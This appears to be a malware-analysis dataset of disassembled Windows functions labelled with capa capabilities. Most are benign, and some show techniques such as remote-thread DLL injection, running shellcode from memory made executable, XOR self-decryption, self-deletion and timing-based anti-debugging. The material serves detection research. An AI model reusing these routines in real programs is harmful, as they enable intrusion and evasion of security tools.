joyce8/EMBER2024-capa huggingface dataset:
Function at 0x422110
Capabilities:
Create pipe

Disassembly:
sub esp, 0x41c
mov eax, dword [0x42f004]
xor eax, esp
mov dword [esp + 0x418], eax
mov eax, dword [esp + 0x420]
mov eax, dword [eax]
push ebx
mov ebx, dword [0x433b3c]
push edi
mov edi, dword [0x435fbc]
call fcn.00422050
cmp dword [0x435fbc], 0x2f
jne 0x4221a4
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
push 0
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call fcn.00422080
mov ecx, dword [esp + 0x420]
pop edi
pop ebx
xor ecx, esp
call fcn.00401114
add esp, 0x41c
ret
Function at 0x4225c0
Capabilities:
Get disk information

Disassembly:
mov eax, dword [0x435fbc]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemTimes]
push edi
mov ebx, 0x1519af
mov edi, 0x8e46a6f0
jmp 0x4225e0
mov dword [0x435c24], edi
cmp eax, 0x3dc
jne 0x4225fa
push 0
push 0
push 0
call esi
mov eax, dword [0x435fbc]
dec ebx
jne 0x4225e0
mov edi, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
xor esi, esi
jmp 0x422610
cmp eax, 0xa5f
jne 0x422632
push 0
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
mov eax, dword [0x435fbc]
cmp esi, 0x846143
jne 0x422649
mov eax, dword [0x430bf0]
add eax, 0xa231
mov dword [0x435fbc], eax
cmp eax, 0x141
jne 0x422664
mov dword [0x4322c8], 0xec58acac
mov dword [0x4322cc], 0xffffffff
inc esi
cmp esi, 0x12d12ba
jl 0x422610
call fcn.004221c0
pop edi
pop esi
xor eax, eax
pop ebx
ret 0x10
Function at 0x5f7e74
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x54
call fcn.0064e29c
mov eax, dword [esp + 0x58]
push ebx
push ebp
push esi
mov ebp, dword [eax + 0xc]
push edi
mov edi, dword [eax + 8]
xor esi, esi
cmp edi, 0x20
mov dword [esp + 0x10], esi
jle 0x5f7e83
push 0x100cb110
push 0x79
push 0x100cb0f8
call fcn.0059decc
add esp, 0xc
cmp ebp, 0x10
jle 0x5f7e9c
push 0x100cb0dc
push 0x7a
push 0x100cb0f8
call fcn.0059decc
add esp, 0xc
cmp dword [esp + 0x74], esi
jne 0x5f7eac
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x54
ret
lea eax, [esp + 0x14]
push eax
call fcn.005f683c
mov ecx, dword [esp + 0x70]
push esi
lea edx, [esp + 0x1c]
push ecx
push edx
call fcn.005f68bc
add esp, 0x10
test eax, eax
je 0x5f800f
mov ebx, dword [esp + 0x84]
jmp 0x5f7ee1
mov esi, dword [esp + 0x84]
mov eax, esi
inc esi
test eax, eax
mov dword [esp + 0x84], esi
je 0x5f7f06
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x24]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
call fcn.005f69ec
add esp, 0xc
mov ecx, dword [esp + 0x78]
mov edx, dword [esp + 0x74]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
call fcn.005f69ec
mov eax, dword [esp + 0x7c]
add esp, 0xc
test eax, eax
je 0x5f7f35
push 8
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.005f69ec
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x24]
push edx
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.005f6b0c
mov esi, dword [esp + 0x88]
add esp, 0xc
cmp esi, 1
jbe 0x5f7f98
dec esi
mov edx, dword [esp + 0x6c]
push 0
lea eax, [esp + 0x18]
push edx
push eax
call fcn.005f68bc
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x30]
push ecx
lea eax, [esp + 0x24]
push edx
push eax
call fcn.005f69ec
lea ecx, [esp + 0x28]
lea edx, [esp + 0x3c]
push ecx
lea eax, [esp + 0x30]
push edx
push eax
call fcn.005f6b0c
add esp, 0x24
dec esi
jne 0x5f7f59
mov ecx, dword [esp + 0x10]
xor eax, eax
test edi, edi
je 0x5f7fce
cmp eax, ecx
je 0x5f7fce
mov edx, dword [esp + 0x80]
test edx, edx
je 0x5f7fc8
mov esi, dword [esp + 0x80]
mov dl, byte [esp + eax + 0x24]
mov byte [esi], dl
mov edx, esi
inc edx
mov dword [esp + 0x80], edx
dec edi
inc eax
test edi, edi
jne 0x5f7fa2
test ebp, ebp
je 0x5f7feb
cmp eax, ecx
je 0x5f7feb
cmp eax, ecx
je 0x5f7feb
test ebx, ebx
je 0x5f7fe5
mov dl, byte [esp + eax + 0x24]
mov byte [ebx], dl
inc ebx
dec ebp
inc eax
test ebp, ebp
jne 0x5f7fd6
test edi, edi
jne 0x5f7ff3
test ebp, ebp
je 0x5f8019
mov eax, dword [esp + 0x6c]
push 0
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.005f68bc
add esp, 0xc
test eax, eax
jne 0x5f7eda
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x54
ret
lea edx, [esp + 0x14]
push edx
call fcn.005f6f7c
lea eax, [esp + 0x28]
push 0x40
push eax
call fcn.0059e6cc
mov ecx, dword [esp + 0x74]
add esp, 0xc
mov eax, dword [ecx + 8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x54
ret
Function at 0x6e1840
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1e1000]
push edi
or ebp, 0xffffffff
jmp 0x6e1862
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6e1869
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6e1858
mov eax, 1
add ebx, ebx
jne 0x6e187b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6e188c
jne 0x6e18ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6e18ab
dec eax
add ebx, ebx
jne 0x6e1898
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6e1870
add ebx, ebx
jne 0x6e18a7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6e18fd
xor ecx, ecx
sub eax, 3
jb 0x6e18c3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6e1932
sar eax, 1
mov ebp, eax
jmp 0x6e18ce
add ebx, ebx
jne 0x6e18ce
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6e189c
inc ecx
add ebx, ebx
jne 0x6e18dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6e189c
add ebx, ebx
jne 0x6e18e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6e18de
jne 0x6e18fa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6e18de
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6e191c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6e190e
jmp 0x6e185e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6e191c
add edi, ecx
jmp 0x6e185e
pop esi
mov edi, esi
mov ecx, 0x7065
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6e193a
cmp byte [edi], 0x2d
jne 0x6e193a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6e193f
lea edi, [esi + 0x2dd000]
mov eax, dword [edi]
or eax, eax
je 0x6e19ae
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2e4530]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2e4634]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6e196c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2e4638]
or eax, eax
je 0x6e19a8
mov dword [ebx], eax
add ebx, 4
jmp 0x6e1989
call dword [esi + 0x2e4648]
mov ebp, dword [esi + 0x2e463c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6e19e2
sub esp, 0xffffff80
jmp 0x554a6c

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40cbc7
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
mov eax, 0x41a2f8
call fcn.00413724
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], 8
mov dword [esi], 0x41b69c
mov dword [ebp - 4], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], 1
mov dword [esi + 0x14], 0x41b754
push 4
mov ebx, 0x41b68c
pop eax
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], eax
mov dword [esi + 0x28], ebx
lea ecx, [esi + 0x3c]
push eax
mov byte [ebp - 4], 2
call fcn.00403291
mov dword [esi + 0x3c], 0x41b804
push 4
mov dword [esi + 0x54], edi
pop eax
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], eax
mov dword [esi + 0x50], ebx
lea edi, [esi + 0x64]
push eax
mov ecx, edi
mov byte [ebp - 4], al
call fcn.00403291
mov dword [edi], 0x41b80c
lea edi, [esi + 0x78]
mov byte [ebp - 4], 5
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b761
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 6
call fcn.0040c1be
lea edi, [esi + 0xa0]
mov byte [ebp - 4], 7
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b761
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 8
call fcn.0040c1be
lea edi, [esi + 0xc8]
mov byte [ebp - 4], 9
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b761
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 0xa
call fcn.0040c1be
mov byte [ebp - 4], 0xb
lea edi, [esi + 0xf0]
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b761
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 0xc
call fcn.0040c1be
lea ecx, [esi + 0x118]
mov byte [ebp - 4], 0xd
call fcn.0040c1be
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x412ff0
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call fcn.0041468e
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x413018
xor eax, eax
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x413027
mov eax, 1
ret 4

Function at 0x40893f
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
sub ecx, 1
add ebx, ecx
call fcn.00408972
push ecx
pop ebx
xor dword [eax], esi
mov ebx, ebx
add ebx, ebx
add eax, 1
sub ecx, 0xbaca6d3f
sub ebx, 1
cmp eax, edx
jne fcn.0040893f
ret
Function at 0x66e81730
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x66e81a0c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x66e81a55
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x66e81de0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x66e8603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x66e86034]
sub esp, 4
test ebx, ebx
je 0x66e81e2b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x66e81e24
test esi, esi
je 0x66e81e24
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x66e81e00
mov dword [esp], 0x66e8603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x66e82010
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x66e84144
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x66e82060
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x66e82138
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x66e8209e
cmp eax, 4
jne 0x66e820c0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x66e820ae
cmp edx, 4
je 0x66e820ae
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.66e82010
Function at 0x407b4d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x407b91
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x407b60
jmp 0x407b91
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x407b81
pop esi
pop ebp
ret

Function at 0x4085c9
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x4085fe
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x408628
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x408628
test edi, edi
je 0x4085f5
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4085f5
test edi, edi
je 0x408630
mov eax, edi
jmp 0x4085f7
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x4085f7
int3
Function at 0x40b1a1
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestLinkedList.exe_gMozillaPoisonSize], eax
call fcn.004085c9
pop ecx
mov ecx, dword [sym.TestLinkedList.exe_gMozillaPoisonSize]
mov dword [sym.TestLinkedList.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40b1d9
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestLinkedList.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret

Function at 0x401c2e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
and byte [ebp - 0x100], 0
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 8
lea eax, [ebp - 0x100]
push 0x404008
push eax
call fcn.00401ca0
mov ecx, 0x401bdc
mov eax, 0x4017fd
sub ecx, eax
push ecx
push eax
lea eax, [ebp - 0x100]
push eax
call fcn.00401d18
push 0x100
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.004020d0
add esp, 0x24
call fcn.00401846
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x438a90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x438abd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x438abd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40e820
Capabilities:
Get common file path

Disassembly:
push ebp
push esi
push edi
xor edi, edi
test ebx, ebx
je 0x40e89b
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edi
push edi
call ebp
push ebx
mov esi, eax
call fcn.00630f92
add eax, esi
add esp, 4
lea eax, [eax + eax + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
jne 0x40e857
pop edi
pop esi
pop ebp
ret
push esi
push edi
call ebp
mov ebp, eax
cmp word [edi + ebp*2 - 2], 0x5c
je 0x40e86e
mov word [edi + ebp*2], 0x5c
add ebp, 1
push ebx
xor esi, esi
call fcn.00630f92
add esp, 4
test eax, eax
jbe 0x40e89b
lea ebp, [edi + ebp*2]
mov cx, word [ebx + esi*2]
mov word [ebp], cx
push ebx
add esi, 1
add ebp, 2
call fcn.00630f92
add esp, 4
cmp esi, eax
jb 0x40e880
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x418f21
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1220
call fcn.006210d0
mov eax, dword [0x735064]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, 0x1000
lea eax, [ebp - 0x120c]
push edi
push 0
push eax
call fcn.00624a40
add esp, 0xc
lea eax, [ebp - 0x1214]
xor esi, esi
mov dword [ebp - 0x1210], esi
push eax
push edi
lea eax, [ebp - 0x120c]
push eax
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
je 0x419043
push ebx
mov ebx, dword [ebp - 0x1214]
xor edi, edi
shr ebx, 2
test ebx, ebx
je 0x419042
cmp edi, 0x400
jae 0x419042
test esi, esi
jne 0x419042
push dword [ebp + edi*4 - 0x120c]
push esi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1220], eax
test eax, eax
je 0x419039
lea ecx, [ebp - 0x1218]
mov dword [ebp - 0x1218], 0x104
push ecx
lea ecx, [ebp - 0x20c]
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
test eax, eax
je 0x41902d
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x121c]
call fcn.00411430
push esi
push str.HWiNFO64.exe
mov ecx, eax
call fcn.00418edb
mov ecx, dword [ebp - 0x121c]
mov esi, eax
lea ecx, [ecx - 0x10]
call fcn.00416499
mov eax, dword [ebp - 0x1210]
mov dword [ebp - 0x1210], eax
xor eax, eax
inc eax
test esi, esi
mov esi, dword [ebp - 0x1210]
cmovns esi, eax
mov dword [ebp - 0x1210], esi
push dword [ebp - 0x1220]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, ebx
jb 0x418f89
pop ebx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.00620b15
leave
ret
Function at 0x41f260
Capabilities:
Read .ini file

Disassembly:
push 0x41c
mov eax, 0x67bc6a
call fcn.00620b88
mov ebx, ecx
push 0x208
lea eax, [ebp - 0x420]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x6a00a0
lea ecx, [ebp - 0x424]
call fcn.00411430
and dword [ebp - 4], 0
lea eax, [ebp - 0x420]
push eax
call fcn.00630f92
pop ecx
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x424]
call fcn.0041669f
push str..ini
push str..exe
lea ecx, [ebp - 0x424]
call fcn.004164b1
push str.HotKeyX
lea ecx, [ebp - 0x428]
call fcn.00411430
mov byte [ebp - 4], 1
lea esi, [ebx + 0x48]
xor edi, edi
xor eax, eax
mov word [ebx + edi*2], ax
and dword [esi - 0x14], eax
lea eax, [ebp - 0x428]
push edi
push str.HotKey_d
push eax
call fcn.004130cd
add esp, 0xc
push dword [ebp - 0x424]
push 0
push dword [ebp - 0x428]
push 0x6a0228
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
movzx ecx, al
mov dword [esi], ecx
lea esi, [esi + 4]
mov dword [esi - 0x40], ecx
mov ecx, eax
shr ecx, 8
shr eax, 0xc
and ecx, 7
and eax, 1
mov dword [esi + 0x10], ecx
inc edi
mov dword [esi - 0x2c], ecx
mov dword [esi + 0x24], eax
cmp edi, 5
jb 0x41f2e7
mov ecx, dword [ebp - 0x428]
add ecx, 0xfffffff0
call fcn.00416499
mov ecx, dword [ebp - 0x424]
add ecx, 0xfffffff0
call fcn.00416499
mov eax, ebx
call fcn.00620b37
ret
Function at 0x42281f
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
push esi
push edi
mov edi, ecx
mov esi, dword [edi + 0x760]
jmp 0x422839
dec esi
xor eax, eax
mov ecx, esi
inc eax
shl eax, cl
push eax
push dword [edi]
call ebx
test eax, eax
je 0x422838
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
xorps xmm0, xmm0
push 0
movlpd qword [ebp - 0x14], xmm0
movlpd qword [ebp - 0xc], xmm0
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea eax, [ebp - 0x24]
push eax
call esi
rdtsc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edx
mov eax, 0x499602d2
mov ecx, 0x3000
cdq
mov dword [ebp - 4], 7
idiv dword [ebp - 4]
sub ecx, 1
jne 0x42288c
test eax, eax
jne 0x4228a6
lea eax, [ebp - 0x1c]
push eax
call esi
rdtsc
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
push dword [edi + 8]
push dword [edi]
call ebx
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
sbb edx, dword [ebp - 0x10]
call fcn.00621060
mov edx, dword [edi + 0x724]
mov ecx, dword [edi + 0x720]
movsd qword [ebp - 0x14], xmm0
call fcn.00621060
movsd xmm1, qword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x18]
sbb edx, dword [ebp - 0x20]
mulsd xmm1, xmm0
movsd qword [ebp - 0x14], xmm1
call fcn.00621060
movsd xmm1, qword [edi + 0x738]
mulsd xmm1, qword [0x6a0b30]
pop edi
pop esi
pop ebx
mulsd xmm0, xmm1
movsd xmm1, qword [ebp - 0x14]
divsd xmm1, xmm0
movsd qword [ebp - 0x24], xmm1
fld qword [ebp - 0x24]
leave
ret